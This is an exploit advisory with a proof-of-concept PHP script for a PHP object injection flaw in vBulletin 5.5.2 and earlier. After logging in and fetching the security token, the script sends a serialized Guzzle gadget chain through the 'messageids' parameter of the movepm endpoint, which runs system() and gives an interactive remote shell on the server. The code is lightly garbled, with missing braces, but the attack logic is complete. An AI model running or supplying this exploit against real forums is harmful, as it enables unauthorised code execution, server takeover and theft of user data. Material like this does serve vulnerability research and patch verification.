vBulletin <= 5.5.2 (movepm) PHP Object Injection Vulnerability  
author..............: Egidio Romano aka EgiX  
mail................: n0b0d13s[at]gmail[dot]com  
software link.......:  
| This proof of concept code was written for educational purpose only. |  
| Use it at your own risk. Author will be not responsible for any damage. |  
[-] Vulnerability Description:  
User input passed through the "messageids" request parameter to /ajax/api/vb4_private/movepm is  
not properly sanitized before being used in a call to the unserialize() PHP function. This can  
be exploited by malicious users to inject arbitrary PHP objects into the application scope,  
allowing them to carry out a variety of attacks, such as executing arbitrary PHP code.  
[-] Technical writeup:  
if (!extension_loaded("curl")) die("[+] cURL extension required!\n");  
print "+------------------------------------------------------------------+";  
print "\n| vBulletin <= 5.5.2 (movepm) PHP Object Injection Exploit by EgiX |";  
print "\n+------------------------------------------------------------------+\n";  
if ($argc != 4)  
print "\nUsage......: php $argv[0] <URL> <Username> <Password>\n";  
print "\nExample....: php $argv[0] http://localhost/vb/ user passwd";  
print "\nExample....: php $argv[0] evil hacker\n\n";  
class googlelogin_vendor_autoload {} // fake class to include the autoloader  
class GuzzleHttp_HandlerStack  
private $handler, $stack;  
function __construct($cmd)  
$this->stack = [["system"]]; // the callback we want to execute  
$this->handler = $cmd; // argument for the callback  
class GuzzleHttp_Psr7_FnStream  
function __construct($callback)  
$this->_fn_close = $callback;  
function make_popchain($cmd)  
$pop = new GuzzleHttp_HandlerStack($cmd);  
$pop = new GuzzleHttp_Psr7_FnStream([$pop, 'resolve']);  
$chain = serialize([new googlelogin_vendor_autoload, $pop]);  
$chain = str_replace(['s:', chr(0)], ['S:', '\00'], $chain);  
$chain = str_replace('GuzzleHttp_HandlerStack', 'GuzzleHttp\HandlerStack', $chain);  
$chain = str_replace('GuzzleHttp_Psr7_FnStream', 'GuzzleHttp\Psr7\FnStream', $chain);  
$chain = str_replace('0GuzzleHttp\HandlerStack', '0GuzzleHttp\5CHandlerStack', $chain);  
return $chain;  
list($url, $user, $pass) = [$argv[1], $argv[2], $argv[3]];  
$ch = curl_init();  
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);  
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);  
curl_setopt($ch, CURLOPT_HEADER, true);  
print "[+] Logging in with username '{$user}' and password '{$pass}'\n";  
curl_setopt($ch, CURLOPT_URL, $url);  
if (!preg_match("/Cookie: .*sessionhash=[^;]+/", curl_exec($ch), $sid)) die("[+] Session ID not found!\n");  
curl_setopt($ch, CURLOPT_URL, "{$url}?routestring=auth/login");  
curl_setopt($ch, CURLOPT_HTTPHEADER, $sid);  
curl_setopt($ch, CURLOPT_POSTFIELDS, "username={$user}&password={$pass}");  
if (!preg_match("/Cookie: .*sessionhash=[^;]+/", curl_exec($ch), $sid)) die("[+] Login failed!\n");  
print "[+] Logged-in! Retrieving security token\n";  
curl_setopt($ch, CURLOPT_URL, $url);  
curl_setopt($ch, CURLOPT_POST, false);  
curl_setopt($ch, CURLOPT_HEADER, false);  
curl_setopt($ch, CURLOPT_HTTPHEADER, $sid);  
if (!preg_match('/token": "([^"]+)"/', curl_exec($ch), $token)) die("[+] Security token not found!\n");  
$params = ["routestring" => "ajax/api/vb4_private/movepm",  
"securitytoken" => $token[1],  
"folderid" => 1];  
print "[+] Launching shell\n";  
print "\nvb-shell# ";  
if (($cmd = trim(fgets(STDIN))) == "exit") break;  
$params["messageids"] = make_popchain($cmd);  
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params));  
preg_match('/(.*){"response":/s', curl_exec($ch), $m) ? print $m[1] : die("\n[+] Exploit failed!\n");